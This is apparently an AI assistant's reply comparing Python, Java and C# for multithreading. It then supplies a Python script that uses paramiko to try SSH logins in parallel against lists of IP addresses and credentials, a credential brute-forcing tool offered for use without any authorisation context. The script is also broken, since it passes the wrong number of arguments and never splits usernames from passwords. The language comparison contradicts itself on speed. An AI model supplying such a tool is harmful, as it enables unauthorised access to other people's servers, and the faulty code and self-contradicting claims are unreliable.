There are a few other languages that I would recommend for the same multi-threaded approach. Here are a few of them:

* **Python:** Python is a general-purpose language that is easy to learn and use. It has a large library of modules that can be used for a variety of tasks, including multithreading.
* **Java:** Java is a compiled language that is known for its portability and security. It also has a large library of modules that can be used for multithreading.
* **C#:** C# is a compiled language that is similar to Java. It is also known for its portability and security.

Each of these languages has its own advantages and disadvantages. Python is the easiest to learn, but it may not be as fast as Java or C#. Java is portable and secure, but it may not be as fast as Python or C#. C# is fast and secure, but it may not be as portable as Java or Python.

Here is an example of how to implement the same program in Python:

```python
import argparse
import paramiko
import threading


def attempt_ssh_login(ip, username, password):
    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(ip, username=username, password=password)
        print("Successfully logged in to {} with {}:{}".format(ip, username, password))
    except Exception as e:
        print("Failed to log in to {} with {}:{}".format(ip, username, password))
        print(e)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--threads", type=int, default=10, help="Number of threads to use")
    parser.add_argument("-i", "--ip_file", type=str, help="File containing a list of IP addresses")
    parser.add_argument("-c", "--credential_file", type=str, help="File containing a list of credentials")
    args = parser.parse_args()

    with open(args.ip_file) as ip_file:
        ips = ip_file.readlines()

    with open(args.credential_file) as credential_file:
        credentials = credential_file.readlines()

    threads = []
    for i in range(args.threads):
        thread = threading.Thread(target=attempt_ssh_login, args=(ips[i].strip(), credentials[i].strip()))
        threads.append(thread)

    for thread in threads:
        thread.start()

    for thread in threads:
        thread.join()


if __name__ == "__main__":
    main()
```

This program is similar to the C program, but it uses the `paramiko` library to perform the SSH logins. The program also uses the `argparse` library to parse command line arguments.
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